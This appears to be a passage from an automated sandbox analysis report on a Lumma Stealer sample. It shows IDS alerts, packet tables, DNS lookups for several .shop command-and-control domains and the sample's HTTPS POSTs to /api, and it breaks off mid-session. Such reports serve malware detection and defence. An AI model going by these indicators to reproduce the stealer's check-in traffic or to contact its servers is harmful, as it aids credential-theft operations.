03/22/24-13:54:03.862026	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49733	443	192.168.2.4	172.67.147.173
03/22/24-13:54:06.419545	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49736	443	192.168.2.4	172.67.147.173
03/22/24-13:54:04.720277	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49734	443	192.168.2.4	172.67.147.173
03/22/24-13:54:03.009215	UDP	2051584	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (relevantvoicelesskw .shop)	51440	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 22, 2024 13:54:03.110776901 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.110806942 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.110888958 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.114371061 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.114389896 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.308084011 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.308224916 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.312488079 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.312505960 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.312827110 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.353223085 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.365398884 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.365426064 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.365523100 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836723089 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836770058 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836796045 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836817980 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.836819887 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836833000 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836860895 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.836874008 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836932898 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.836937904 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.836949110 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.837002039 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.838841915 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.838852882 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.838884115 CET	49732	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.838888884 CET	443	49732	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.861594915 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.861637115 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:03.861722946 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.862025976 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:03.862036943 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.046919107 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.046996117 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.049755096 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.049765110 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.050014019 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.051899910 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.051924944 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.051975012 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530145884 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530189991 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530217886 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530252934 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530277967 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530314922 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530329943 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530337095 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530370951 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530392885 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530400991 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530428886 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530441999 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530447960 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530494928 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530499935 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530844927 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530880928 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530889988 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530898094 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530925035 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530935049 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530941963 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.530982971 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.530989885 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.531004906 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.531047106 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.531548023 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.531564951 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.531574011 CET	49733	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.531579018 CET	443	49733	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.719826937 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.719861031 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.719938993 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.720277071 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.720293999 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.907758951 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.907923937 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.909526110 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.909533024 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.909780979 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.911336899 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.911494970 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.911531925 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:04.911587954 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:04.911600113 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.354271889 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.354338884 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.354410887 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.354607105 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.354623079 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.354640007 CET	49734	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.354648113 CET	443	49734	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.471735001 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.471767902 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.471868038 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.472246885 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.472261906 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.659137964 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.659337997 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.660773039 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.660780907 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.661025047 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:05.662264109 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.662405968 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:05.662441969 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.203416109 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.203547001 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.203603983 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.203706026 CET	49735	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.203720093 CET	443	49735	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.419030905 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.419070959 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.419156075 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.419544935 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.419557095 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.607126951 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.607213974 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.608557940 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.608561993 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.608844042 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.610074043 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.610204935 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.610232115 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:06.610291958 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:06.610301018 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:07.232721090 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:07.232872963 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:07.232937098 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:07.233017921 CET	49736	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:07.233028889 CET	443	49736	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:08.101994038 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:08.102034092 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:08.102104902 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:08.102502108 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:08.102515936 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:08.288368940 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:08.288444042 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:08.290083885 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:08.290091038 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:08.290332079 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:08.291508913 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:08.291635036 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:08.291661978 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:09.758755922 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:09.758887053 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:09.758944988 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:09.762588024 CET	49737	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:09.762609005 CET	443	49737	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:09.868681908 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:09.868722916 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:09.868827105 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:09.869399071 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:09.869410992 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.053823948 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.053898096 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.055813074 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.055819988 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.056066036 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.057985067 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.058207035 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.058212996 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.502278090 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.502393007 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.502481937 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.502826929 CET	49738	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.502840042 CET	443	49738	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.961174965 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.961210012 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:10.961277962 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.961651087 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:10.961664915 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.147627115 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.147730112 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.150871992 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.150882006 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.151127100 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.152529955 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.153553009 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.153584957 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.153661966 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.153692007 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.153780937 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.153846979 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.153949022 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.153980970 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.154098034 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.154129028 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.154252052 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.154275894 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.154284000 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.154299974 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.154408932 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.154438972 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.154459953 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.154601097 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.154629946 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.200237036 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.200412035 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.200436115 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.200457096 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.200474977 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:11.200515032 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:11.200541019 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:20.463917971 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:20.464025974 CET	443	49739	172.67.147.173	192.168.2.4
Mar 22, 2024 13:54:20.464103937 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:20.466329098 CET	49739	443	192.168.2.4	172.67.147.173
Mar 22, 2024 13:54:20.466347933 CET	443	49739	172.67.147.173	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 22, 2024 13:54:02.814249992 CET	57667	53	192.168.2.4	1.1.1.1
Mar 22, 2024 13:54:02.906362057 CET	53	57667	1.1.1.1	192.168.2.4
Mar 22, 2024 13:54:02.910864115 CET	63995	53	192.168.2.4	1.1.1.1
Mar 22, 2024 13:54:03.004045010 CET	53	63995	1.1.1.1	192.168.2.4
Mar 22, 2024 13:54:03.009215117 CET	51440	53	192.168.2.4	1.1.1.1
Mar 22, 2024 13:54:03.104690075 CET	53	51440	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 22, 2024 13:54:02.814249992 CET	192.168.2.4	1.1.1.1	0xcf02	Standard query (0)	colorfulequalugliess.shop	A (IP address)	IN (0x0001)	false
Mar 22, 2024 13:54:02.910864115 CET	192.168.2.4	1.1.1.1	0xbc14	Standard query (0)	wisemassiveharmonious.shop	A (IP address)	IN (0x0001)	false
Mar 22, 2024 13:54:03.009215117 CET	192.168.2.4	1.1.1.1	0x95ac	Standard query (0)	relevantvoicelesskw.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 22, 2024 13:54:02.906362057 CET	1.1.1.1	192.168.2.4	0xcf02	Name error (3)	colorfulequalugliess.shop	none	none	A (IP address)	IN (0x0001)	false
Mar 22, 2024 13:54:03.004045010 CET	1.1.1.1	192.168.2.4	0xbc14	Name error (3)	wisemassiveharmonious.shop	none	none	A (IP address)	IN (0x0001)	false
Mar 22, 2024 13:54:03.104690075 CET	1.1.1.1	192.168.2.4	0x95ac	No error (0)	relevantvoicelesskw.shop		172.67.147.173	A (IP address)	IN (0x0001)	false
Mar 22, 2024 13:54:03.104690075 CET	1.1.1.1	192.168.2.4	0x95ac	No error (0)	relevantvoicelesskw.shop		104.21.33.178	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

relevantvoicelesskw.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:03 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: relevantvoicelesskw.shop
2024-03-22 12:54:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-03-22 12:54:03 UTC	571	IN	HTTP/1.1 200 OK Date: Fri, 22 Mar 2024 12:54:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2B2lhuqH%2FEoctNrXV%2FUZko9KU3yJ8sOQtFTKlxwyo8BCYkHgUNPPZmgqAdaS%2BRHLaLlQbiGJeBiK%2F9rxc5OdH%2BbxhhcjDQ5R7057SncNH95f2L%2BW1JoS2RhDZzSj0NH%2FcOfGXLbiuinm%2BFQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86865401ad7543ee-EWR
2024-03-22 12:54:03 UTC	798	IN	Data Raw: 31 31 33 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1130<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-03-22 12:54:03 UTC	1369	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: ef="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.
2024-03-22 12:54:03 UTC	1369	IN	Data Raw: 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 46 6e 75 45 54 4a 6a 55 73 72 64 66 75 59 4a 68 59 4c 35 74 2e 72 36 66 44 46 6b 32 56 62 4b 5f 72 35 38 4c 75 44 62 76 59 46 49 2d 31 37 31 31 31 31 32 30 34 33 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b Data Ascii: e="text/plain"> <input type="hidden" name="atok" value="FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack
2024-03-22 12:54:03 UTC	872	IN	Data Raw: 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 Data Ascii: ="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target
2024-03-22 12:54:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:04 UTC	361	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: relevantvoicelesskw.shop
